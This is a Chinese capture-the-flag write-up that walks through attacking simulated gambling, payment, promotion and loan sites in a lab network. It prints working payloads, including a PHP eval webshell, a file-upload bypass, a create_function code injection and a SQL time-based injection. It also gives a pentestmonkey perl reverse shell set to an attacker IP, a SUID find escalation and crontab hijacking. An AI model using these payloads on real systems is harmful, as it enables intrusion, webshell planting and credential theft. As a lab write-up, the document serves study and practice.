前言
官方wp:https://yhnx97pvjc.feishu.cn/file/FeMdbGcaTo9lqPx5nUicLl8Bngf
抱歉,没能让出题人使出全力
负责外网只打了个文件上传的我太菜了呜呜呜,不过跟着复现外网还是学到很多
跟着官方wp做点补充复现,一些图会从官方wp里面copy过来补充
官方的攻击路线图
引流apk平台
dirsearch扫引流apk站点可以扫到/flag路由,访问可以下载flag
扫描二维码得到flag和apk文件下载地址
apk反编译
下载并反编译apk文件,先全局搜索flag{
文本
除了那个假的flag还有一个flag是交不了的
然后因为apk引流站点的ip为172.16.20.200,所以接下来全局搜索172.16.
来找其他的目标ip
我这里只找到3个ip:172.16.200.123,172.16.1.123,172.16.10.102
漏了一个贷款网站的ip,麻了
前期资产搜集
fscan开扫
同时在博彩网站处发现在线客服平台也有自己的ip地址:172.16.15.200:48513
外网
博彩网站主站
文件上传
反编译apk得到的靶标172.16.10.102是博彩网站主站
注册并登录账户
在会员中心 - 基本资料 - 上传身份证照片处发现png文件上传且路径可控
测试发现安全狗过滤了php后缀,后端会检测文件头
测试发现可以传.user.ini
GIF89a
auto_prepend_file=1.png
上传一个1.png
GIF89a
<?php eval($_POST['cmd']);?>
这里试了半天,发现upload路径下居然有个index.php可以访问,于是蚁剑连
连上之后发现桌面有一个flag.txt,注:靶机是windows环境
在数据库连接文件db.php中找到第二个flag
博彩网站客服平台(复现)
xss+后台任意文件读取
xss
博彩网站主站 - 在线客服
这个xss没有任何过滤,但是我并不怎么熟悉xss,也没玩过xssbot,呜。。。
新建项目并查看项目代码,姓名、email以及电话信息任意输入,在留言部分输入xss语句弹到xssbot,可以在xss平台中获取到cookie
后台
dirsearch扫的时候发现存在/admin/路由,访问进入管理员后台登录页面
抓包,把刚才xss得到的cookie替换进去,可以实现绕过鉴权,进入WeLive后台,首页就存在flag
同时存在任意文件读取的功能,读取../config/config.php
得到配置文件
phpMyAdmin
fscan扫这个客服平台的端口
fscan -h 172.16.15.200
发现开放888端口
访问,使用刚才配置文件中的得到的用户名密码进行登录,成功登录系统
然后在sql功能处通过写文件的方式写入shell,注意shell的位置在48513端口下
然后访问shell,先看看phpinfo,可以发现disable_functions里面禁用了大量命令执行的函数
蚁剑连上shell,直接插件一把梭绕过
计划任务提权
计划任务由crontab管理,非root用户是无法列出root用户的计划任务的,但可以列出/etc/crontab的系统任务,系统任务默认是以root权限运行的
cat /etc/crontab
查看计划任务,发现root用户会定期执行/tmp/cleanup.py脚本
上传cleanup.py到/tmp并插入我们自己恶意的命令,如反弹shell
从而实现提权
四方支付平台(复现)
反编译apk得到靶标172.16.200.123
这题给了题目源码需要审计,测试的时候发现访问路由的首字母需要大写,通过大小写敏感可以确定是windows系统
admin登录处命令执行
说是登录处存在命令执行,原来是在admin的登录处存在命令执行,我在user那里审了半天。。。
抓个登录的包,发现执行的路径在/Admin/Ajax.php下
对应源码:
if($act=='Login'){//登录后台
$admin_user=daddslashes($_POST['admin_user']);
$admin_pass=daddslashes($_POST['admin_pass']);
$user_pass=$admin_user.'and'.$admin_pass.";";
$user_pass_echo = create_function('$username',$user_pass);
if(!$admin_user or !$admin_pass){
$result=array("code"=>-1,"msg"=>"所有参数不能为空");
}elseif($admin_user==$conf['admin_user'] && $admin_pass==$conf['admin_pass']) {
$session=md5($admin_user.$admin_pass.$password_hash);
$token=authcode("{$user}\t{$session}", 'ENCODE', $conf['KEY']);
setcookie("admin_token", $token, time() + 604800);
$city=get_ip_city($ip)['Result']['Country'];
$DB->exec("insert into `pay_log` (`pid`,`type`,`date`,`ip`,`city`) values ('0','后台管理员登陆','".$date."','".$ip."','".$city."')");
$result=array("code"=>1,"msg"=>"登录成功");
}elseif($admin_user != $conf['admin_user']) {
$_SESSION['pass_error']++;
$result=array("code"=>-1,"msg"=>"登录失败,账号错误");
}elseif($admin_pass != $conf['admin_pass']) {
$_SESSION['pass_error']++;
$result=array("code"=>-1,"msg"=>"登录失败,密码错误");
}
}
一眼create_function
存在命令执行,$admin_user
和$admin_pass
就是我们可控的用户名和密码,抓包传参命令执行
POST admin_user=admin&admin_pass=1;}phpinfo();/*
接下来就是写入shell
payload:
admin_pass=1;}file_put_contens("1.php","<?php eval($_POST['cmd']);?>");/*
蚁剑连上去,注意路径是/Admin/1.php
Unix内核漏洞提权
连上去发现权限不足,尝试提权
参考文章:https://blog.csdn.net/f_carey/article/details/119972034
此时我们已经获得了靶机的Webshell后门
所以这里需要上传perl-reverse-shell.pl
来反弹 Shell
exp下载地址:http://pentestmonkey.net/tools/perl-reverse-shell/perl-reverse-shell-1.0.tar.gz
修改exp文件中 IP 参数为本地主机 IP 地址,如:
my $ip = '192.168.100.1';
my $port = 1234;
# 端口默认为 1234,可自定义,需要注意本地 NC 监听的端口也需要修改。
然后用蚁剑上传到靶机
添加权限
chmod +x perl-reverse-shell.pl
执行文件
./perl-reverse-shell.pl
然后在本地的nc监听处获取交互式shell
查看suid权限
find / -user root -perm -4000 -print 2>/dev/null
可以看到find,su,sudo等都存在suid权限,尝试提权
官方wp用了find进行提权
find /usr/bin/sh -exec /bin/sh -p \; -quit
然后flag就到手了
连接数据库
在配置文件中发现数据库连接账户密码
navicat连上去,在数据库pay_flag表发现flag
优惠大厅(复现)
反编译apk得到靶标172.16.1.123,这个居然是优惠大厅。。。
前台sql注入
在前台【会员登录】处,随意输入账号密码,bp开启抓包
测试,发现username存在时间盲注,用>判断会报错,尝试用=判断
1' and if(length(database())=4,sleep(5),1)
那就开始盲注,不知道sqlmap能不能跑
最后找到后台账号和md5加密的密码
admin 6fab062fd242430d18aeff4e116edb04
lmb 6e3261f301f41c5f4169cd562b259994
尝试md5解密,好像用比赛时提供的社工库就能解出来为lmb@123
然后带着这个账号密码去admin.php登录后台即可
在后台【系统管理】->【管理组】->【管理员】处,发现flag
后台文件上传
点击【会员管理】,进入【会员列表】模块,点击【新增假人】
发现存在图片文件上传
传图片马抓包,修改为.phtml后缀
返回了文件上传的路径,访问发现成功解析,那就蚁剑连上去
信息收集提升权限
对服务器文件进行信息收集,发现数据库配置文件Db.php
在Chat/Application/Info/Config/Db.php里
发现root用户的密码,登录,成功获取root权限
在/root/目录下发现lmb.txt文件,查看该文件,解码之后获取flag
贷款平台(复现)
apk反编译获取的靶标172.16.100.10
访问发现是http默认页面
备份文件泄露
根据前面反编译时发现的路由/dkpt,然后dirsearch扫描,发现存在/dkpt/dkpt.com.bak路径(注,这里的dirsearch字典要用比赛提供的dirsearch)
访问得到flag
社工信息利用登录后台
dirsearch扫描发现后台登录地址/dkpt/madmin.php
根据提示密码和个人信息有关,观察首页相关信息,发现联系电话18855667788
在比赛给的社工库里进行查找,发现历史密码1qaz@WSX!@#$
于是可以进行后台登录
sql注入获取shell
在后台会员管理madmin.php?m=User&a=edit&id=
接口处存在SQL注入
直接sqlmap开跑,写入目录猜测在/var/www/html/dkpt
访问shell成功连上蚁剑
密码复用提权
执行whoami,发现我们是apache用户
查看/home目录发现存在 dkpt 用户
查看数据库配置文件
得到数据库的用户名dkpt和其密码lmb_dkp@123
(这里的数据库用户名dkpt和前面的用户不是一个东西)
连上数据库,查找信息
select * from `dkpt_admin` order by 1 DESC limit 0,20;
查询发现另一个管理员admin888的账号和密码d42410e5cea9e0c3fae5664e1aa609a4
md5解密,尝试用这个密码来登录dkpt账户
ssh dkpt@172.16.100.10
这里可以用su
提权
sudo su
在root目录下找到flag
内网
这里对我来说就是未知领域了,靠队友(
fscan根据提示继续爆
10.10.200.55
根据目前已知ip的c段进行爆破可以得到ip
192.33.33.200
BC站点搭建FRP内网穿透
信息收集
搭建代理
泛微OA文件上传
运维靶标
向日葵RCE
信息收集
禅道命令执行
polkit提权
Gitlab靶标
CVE-2021-22205